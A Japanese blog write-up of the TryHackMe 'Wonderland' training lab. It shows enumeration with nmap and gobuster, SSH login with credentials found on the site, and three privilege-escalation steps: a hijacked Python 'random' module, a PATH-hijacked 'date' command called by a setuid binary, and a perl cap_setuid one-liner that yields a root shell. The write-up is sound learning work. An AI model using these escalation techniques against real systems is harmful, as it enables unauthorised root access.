好奇心の足跡

飽きっぽくすぐ他のことをしてしまうので、忘れないため・形にして頭に残すための備忘録。

TryHackMe Wonderland writeup

TryHackMe の Wonderland を最後までやったので、writeupを置いておきます。
何となくやることは見えるものの、ヒントがそこまで無かったり、知らなかった知識が必要だったりして最後はカンニングしてしまいましたが、とても勉強になりました。

tryhackme.com

「こうやったら悪用できそうじゃない?」と思ったものがいくつか実際に刺さったのも良い体験でした。

user.txt

マシンが立ったので、まずはnmapして開いているポートを調査してみます。

$ nmap -A -p- -sV 10.10.74.91  
Starting Nmap 7.92 ( https://nmap.org ) at 2022-02-13 01:29 EST
Nmap scan report for 10.10.74.91
Host is up (0.027s latency).
Not shown: 65533 closed tcp ports (conn-refused)
PORT   STATE SERVICE VERSION
22/tcp open  ssh     OpenSSH 7.6p1 Ubuntu 4ubuntu0.3 (Ubuntu Linux; protocol 2.0)
| ssh-hostkey: 
|   2048 8e:ee:fb:96:ce:ad:70:dd:05:a9:3b:0d:b0:71:b8:63 (RSA)
|   256 7a:92:79:44:16:4f:20:43:50:a9:a8:47:e2:c2:be:84 (ECDSA)
|_  256 00:0b:80:44:e6:3d:4b:69:47:92:2c:55:14:7e:2a:c9 (ED25519)
80/tcp open  http    Golang net/http server (Go-IPFS json-rpc or InfluxDB API)
|_http-title: Follow the white rabbit.
Service Info: OS: Linux; CPE: cpe:/o:linux:linux_kernel

Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .
Nmap done: 1 IP address (1 host up) scanned in 109.33 seconds

ssh, httpのポートが開いてるみたい。httpのほうのトップページはこちら。アリスのうさぎ。

f:id:kusuwada:20220216163457p:plain

サイトがあるので、gobuster でpathを探してみます。

$ gobuster dir --url http://10.10.74.91/ -w /usr/share/wordlists/dirb/common.txt                                       1 ⨯
…(omit)...
===============================================================
/img                  (Status: 301) [Size: 0] [--> img/]
/index.html           (Status: 301) [Size: 0] [--> ./]  
/r                    (Status: 301) [Size: 0] [--> r/]  
                                                        
===============================================================
2022/02/13 01:38:10 Finished
===============================================================

topと画像格納場所以外に、/r という変なpathが。更に掘り下げてみます。

$ gobuster dir --url http://10.10.74.91/r/ -w /usr/share/wordlists/dirb/common.txt
…(omit)...
===============================================================
/a                    (Status: 301) [Size: 0] [--> a/]
/index.html           (Status: 301) [Size: 0] [--> ./]
                                                      
===============================================================
2022/02/13 01:39:43 Finished
===============================================================

次は /a。この並びだと、もしや rabbit?と思ったので

http://10.10.74.91/r/a/b/b/i/t/

にアクセスすると、用意されてました!

f:id:kusuwada:20220216163520p:plain

このページのソースを見ると、

f:id:kusuwada:20220216163536p:plain

どうやらuser名とpasswordっぽいものが載っています。これを使ってマシンにssh接続してみます。

$ ssh alice@10.10.134.7
...(omit)...
alice@10.10.134.7's password: 
Welcome to Ubuntu 18.04.4 LTS (GNU/Linux 4.15.0-101-generic x86_64)

 * Documentation:  https://help.ubuntu.com
 * Management:     https://landscape.canonical.com
 * Support:        https://ubuntu.com/advantage

 System information disabled due to load higher than 1.0


0 packages can be updated.
0 updates are security updates.


Last login: Mon May 25 16:37:21 2020 from 192.168.170.1
alice@wonderland:~$

aliceとしてloginに成功しました!

alice@wonderland:~$ ls
root.txt  walrus_and_the_carpenter.py
alice@wonderland:~$ pwd
/home/alice
alice@wonderland:~$ cat root.txt
cat: root.txt: Permission denied

rootじゃないのに root.txt が置いてある。もちろんPermission denied。探しているのは user.txt でこのディレクトリにあると思ったのに。他のuser directoryは

alice@wonderland:~$ ls /home
alice  hatter  rabbit  tryhackme

が、aliceの権限では他のuserのhomeはアクセスできず。
ここでヒントを思い出してみます。

Everything is upside down here.

全部が逆さま。ほう。
ということは、/rootuser.txt あるのでは?

alice@wonderland:~$ cat /root/user.txt
thm{***********************}

あった!見れた!

root.txt

次のステップは権限昇格。root.txtの隣に気になるスクリプトがいます。

import random
poem = """The sun was shining on the sea,
Shining with all his might:
He did his very best to make
The billows smooth and bright —
And this was odd, because it was
The middle of the night.

...(omit)...

"O Oysters," said the Carpenter.
"You’ve had a pleasant run!
Shall we be trotting home again?"
But answer came there none —
And that was scarcely odd, because
They’d eaten every one."""

for i in range(10):
    line = random.choice(poem.split("\n"))
    print("The line was:\t", line)

行ごとに文章を区切ってランダムにつなぎ合わせてポエムを生成するスクリプトらしい。
最近覚えたsudo -lコマンド

Sudo Manual | Sudo

コマンドを指定しない場合、現在のホストの起動ユーザ (または -U オプションで指定されたユーザ) に許可される (および禁止される) コマンドをリストアップする。

を使って、実行できるコマンドを確認してみます。

alice@wonderland:~$ sudo -l
[sudo] password for alice: 
Matching Defaults entries for alice on wonderland:
    env_reset, mail_badpass, secure_path=/usr/local/sbin\:/usr/local/bin\:/usr/sbin\:/usr/bin\:/sbin\:/bin\:/snap/bin

User alice may run the following commands on wonderland:
    (rabbit) /usr/bin/python3.6 /home/alice/walrus_and_the_carpenter.py

これは rabbit ユーザーとして上記が実行できるということ。やってみます。

alice@wonderland:~$ sudo -u rabbit /usr/bin/python3.6 /home/alice/walrus_and_the_carpenter.py 
The line was:    Before his streaming eyes.
The line was:    He did his very best to make
The line was:    "But wait a bit," the Oysters cried,
The line was:    
The line was:    Swept it for half a year,
The line was:    
The line was:    To leave the oyster-bed.
The line was:    To leave the oyster-bed.
The line was:    The sea was wet as wet could be,
The line was:    But answer came there none —

できた。
しかしこのスクリプト、aliceに書き換え権限がありません。
他に何か使えるところはないかスクリプトを見返してみると、冒頭に import random が。こちらで random.py を作って優先的にimportしてもらい、shellをrabbit userで立ち上げられそう。以下、rondom.py

import os
os.system("/bin/sh")

実行してみます。

alice@wonderland:~$ sudo -u rabbit /usr/bin/python3.6 /home/alice/walrus_and_the_carpenter.py 
$ whoami
rabbit

狙ったとおりrabbitでshellを起動することが出来ました!rabbitとして探索してみます。

$ cd /home/rabbit
$ ls
teaParty
$ file teaParty
teaParty: setuid, setgid ELF 64-bit LSB shared object, x86-64, version 1 (SYSV), dynamically linked, interpreter /lib64/ld-linux-x86-64.so.2, for GNU/Linux 3.2.0, BuildID[sha1]=75a832557e341d3f65157c22fafd6d6ed7413474, not stripped
$ ./teaParty
Welcome to the tea party!
The Mad Hatter will be here soon.
Probably by Tue, 15 Feb 2022 07:19:46 +0000
Ask very nicely, and I will give you some tea while you wait for him

Segmentation fault (core dumped)

今度はteaPartyという実行ファイルを見つけたので実行してみると、一時間後に Mad Hatter が来るらしい。何回かやっても日時のところがファイル実行時のぴったり1時間後なので、ここは時刻を取得して表示してると予測。

下記は vi コマンドで覗いてみた実行ファイルの出力部分。

The Mad Hatter will be here soon.^@^@^@^@^@/bin/echo -n 'Probably by ' && date --date='next hour' -R^@^@^@^@^@^@^@Ask very nicely, and I will give you some tea while you wait for him^@^@^@^@Segmentation fault (core dumped)

date --date='next hour' というコマンドが使われています。
このファイルは rabbit user で編集可能なので、ここを書き換えれば他のコマンドを実行できそう。…と思ったけど、書き換えると Segmentation Faultで落ちるように。書き換え後の長さが書き換える前と同じなら良いのかな。

先程の random と同様、今回は date コマンドを自分で用意してそっちを使ってもらうようにできないか検討します。

export PATH=/home/rabbit:$PATH

これでpathを追加し、dateという実行ファイルを作ります。

#!/bin/sh
/bin/sh

これで date コマンドでこっちのファイルが優先的に実行され、shellが起動するはず。権限を書きで変更するのを忘れずに。

chmod 775 date

実行してみます。

$ ./teaParty  
Welcome to the tea party!
The Mad Hatter will be here soon.
Probably by $ 
$ whoami
hatter

hatterになれました!やったね!
/home/hatterに行ってみると、password.txtが落ちています。 aliceのときと同様、このユーザーで使えるコマンドを一覧してみようと思いましたが

$ sudo -l 
[sudo] password for hatter: 
Sorry, user hatter may not run sudo on wonderland.

出来なかった。違う経路が必要そう。

ということで、このクレデンシャルを使って、再度sshを試みます。

$ ssh hatter@10.10.134.7
hatter@10.10.134.7's password: 

...(omit)...

Ubuntu comes with ABSOLUTELY NO WARRANTY, to the extent permitted by
applicable law.

hatter@wonderland:~$ 

hatterとしてマシンに接続できました。
が、先程teaPartyから立ち上げたshellから出来ること以上のことが思いつかず、hatterでマシンをさまよいます。

どうにもわからなかったのでここでカンニング。
ここからは「ケーパビリティ」というのに焦点を当てると良かったみたい。恥ずかしながら知らなかったので、以下のサイトでお勉強。

上記のサイト群から要約を拾い集めてみました。

ケイパビリティはスーパーユーザー権限の細かい制御を提供することで、root ユーザーの使用を減らすことができます。ソフトウェアの開発者はシステムバイナリの強力な setuid 属性を最小セットのケイパビリティで置き換えることが推奨されています。

実際にpingではCAP_NET_RAWが利用されており, 一般ユーザーでもpingを使うことができるようになっている.

プロセスだけでなく実行ファイルにもケイパビリティセットを対応付けることができ、それぞれ下記の役割。

  • effective - これが設定されていなければ実行したときにプロセスのpermittedが設定されない

  • permitted - 実行したときに許可されるケイパビリティセット

  • inheritable - 実行時に継承されるケイパビリティセット

このマシンの実行ファイルのケーパビリティを調べてみます。-rオプションで再帰的に、エラーを破棄するようにするとこんな感じ。

hatter@wonderland:~$ getcap -r / 2>/dev/null
/usr/bin/perl5.26.1 = cap_setuid+ep
/usr/bin/mtr-packet = cap_net_raw+ep
/usr/bin/perl = cap_setuid+ep

どうも perl に cap_setuid+ep のケーパビリティが。perl capabilityでググってみると

perl | GTFOBins

こちらを発見。perlの実行ファイルに cap_setuid+ep のケーパビリティが付与されている場合、自身のプロセスUIDを操作して特権アクセスを維持するためのバックドアとして使用することが出来るらしい。わお。

上記サイトにコマンドも載っていたので、そのまま実行してみます。

hatter@wonderland:~$ perl -e 'use POSIX qw(setuid); POSIX::setuid(0); exec "/bin/sh";'
# whoami
root
# cat /home/alice/root.txt
**************************************

rootが取れ、root.txtにアクセスすることが出来ました👍
ちなみに、あとから確認したところ、alice, rabbit, shell起動したhatterからは /usr/bin/perl, /usr/bin/perl5.26.1 に実行権限がなかったのでhatterのpasswordを入手して再度sshするプロセスは必要だったっぽい。逆に言うと、このcapability調査は最初にaliceとしてログインしたときにやっていても同じ結果が得られ、「なんかperl使えそう」という情報が得られ、

$ ls -l /usr/bin/perl
-rwxr-xr-- 2 root hatter 2097720 Nov 19  2018 /usr/bin/perl

とperlの実行ファイルを確認するとhatterなら実行できることがわかり、hatterを目指すというルートが想定解だったのかもしれない。

capability set を確認するのは基本的な調査の一つらしいので、今後活用できるようにしておきたい。